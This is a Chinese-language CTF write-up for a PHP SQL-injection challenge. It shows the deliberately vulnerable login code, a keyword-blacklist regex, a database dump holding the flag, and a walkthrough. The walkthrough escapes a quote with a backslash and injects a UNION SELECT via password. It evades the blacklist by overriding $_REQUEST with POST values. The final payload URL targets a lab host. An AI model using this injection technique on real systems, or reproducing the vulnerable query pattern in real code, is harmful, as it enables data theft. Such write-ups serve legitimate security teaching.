index.php
require 'config.php';
if(isset($_REQUEST['username'])){
if(preg_match("/(?:\w*)\W*?[a-z].*(R|ELECT|OIN|NTO|HERE|NION)/i", $_REQUEST['username'])){
die("Attack detected!!!");
}
}
if(isset($_REQUEST['password'])){
if(preg_match("/(?:\w*)\W*?[a-z].*(R|ELECT|OIN|NTO|HERE|NION)/i", $_REQUEST['password'])){
die("Attack detected!!!");
}
}
function clean($str){
if(get_magic_quotes_gpc()){
$str=stripslashes($str);
}
return htmlentities($str, ENT_QUOTES);
}
$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);
$query='SELECT * FROM ctf.users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
#echo $query;
$result=mysql_query($query);
while($row = mysql_fetch_array($result))
{
echo "";
echo "" . $row['name'] . " ";
echo " ";
}
?>
config.php
$mysql_server_name="localhost";
$mysql_database="day12"; /** 数据库的名称 */
$mysql_username="root"; /** MySQL数据库用户名 */
$mysql_password="root"; /** MySQL数据库密码 */
$conn = mysql_connect($mysql_server_name, $mysql_username,$mysql_password,'utf-8');
?>
#
# Structure for table "users"
#
CREATE database day12;
use day12;
DROP TABLE IF EXISTS `users`;
CREATE TABLE `users` (
`Id` int(11) NOT NULL AUTO_INCREMENT,
`name` varchar(255) DEFAULT NULL,
`pass` varchar(255) DEFAULT NULL,
`flag` varchar(255) DEFAULT NULL,
PRIMARY KEY (`Id`)
) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8;
#
# Data for table "users"
#
/*!40000 ALTER TABLE `users` DISABLE KEYS */;
INSERT INTO `users` VALUES (1,'admin','qwer!@#zxca','hrctf{sql_Inject1on_Is_1nterEst1ng}');
/*!40000 ALTER TABLE `users` ENABLE KEYS */;
进入网站:
http://10.211.55.2:100/day12/index.php
从index.php代码 第27行
$query='SELECT * FROM ctf.users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
很明显,这道题考查sql注入
,但是这里有两个考察点
,我们分别来看一下。
第23行
和第24行
针对GET 方式
获取到的username
和 password
进行了处理,
$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);
处理函数为clean
。该函数在 第16-20行
处定义
function clean($str){
if(get_magic_quotes_gpc()){
$str=stripslashes($str);
}
return htmlentities($str, ENT_QUOTES);
}
函数的主要功能就是使用 htmlentities
函数处理变量中带有的特殊字符,而这里加入了 htmlentities
函数的可选参数ENT_QUOTES
,因此这里会对 单引号
, 双引号
等特殊字符进行转义处理。由于这里的注入是字符型
的,需要闭合单引号
或者逃逸单引号
,因此这里需要绕过这个函数。我们可以通过下面这个例子观察 clean 函数的处理效果:
题目 选中这行
是进入数据库查询,并且返回 name
列字段的值。而这里的sql语句是这样的:
$query='SELECT * FROM ctf.users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
那我们如果输入的username
是 admin
, password
是admin
,自然就构成了正常要执行的sql语句。
这道题的问题就在于可以引入反斜杠
,也就是转义符
,官方针对 转义符 是这么解释的。
比如,如果你希望匹配一个 “*” 字符,就需要在模式中写为 *。 这适用于一个字符在不进行转义会有特殊含义的情况下。
这里我们看个简单的例子理解一下这个转义符号。
转义符号会让当前的特殊符号失去它的作用,这道题由于可以引入反斜杠
,也就是转义符号
,来让
$query='SELECT * FROM ctf.users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
username
后面的 '
失效,只要这个'
失效,就能闭合pass=
后面的'
。最后组合的payload
就如下图所示
所以实际上目前 name
的值是admin\' AND pass=
,这时候 password
的值是一个可控的输入点,我们可以通过这个值来构造 sql
的 联合查询 ,并且注释掉最后的 单引号
。
最后我们看看在mysql
中执行的结果。
好了第一部分
我们其实已经成功构造好了payload
,但是回头来看看题目,题目第5、6行
和 第11、12行
有两个正则表达式,作用就是如果参数中带有 or、and 、union
等数据,就退出,并输出 Attack detected!!!
这里当然我们可以正面硬刚
这个正则表达式。但是这里我们来聊一个比较有趣的解法。
我们看到是通过request
方式传入数据,而php中 REQUEST
变量默认情况下包含了 GET ,POST
和 COOKIE
的数组。在 php.ini
配置文件中,有一个参数 variables_order
,这参数有以下可选项目
; variables_order
; Default Value: “EGPCS”
; Development Value: “GPCS”
; Production Value: “GPCS”
这些字母分别对应的是 E: Environment
,G:Get
,P:Post
,C:Cookie
,S:Server
。这些字母的出现顺序,表明了数据的加载顺序。而php.ini
中这个参数默认的配置是 GPCS
,也就是说如果以 POST
、 GET
方式传入相同的变量,那么用REQUEST
获取该变量的值将为 POST
该变量的值。
我们举个简单的例子方便大家理解:
我们可以看到这里的 post
方式传入的数据覆盖了get
方式传入的数据,因此这里最后的payload
如下:
http://10.211.55.2:100/day12/index.php?username=\&password= union select 1,flag ,3,4 from day12.users%23
POST:
username=0&password=1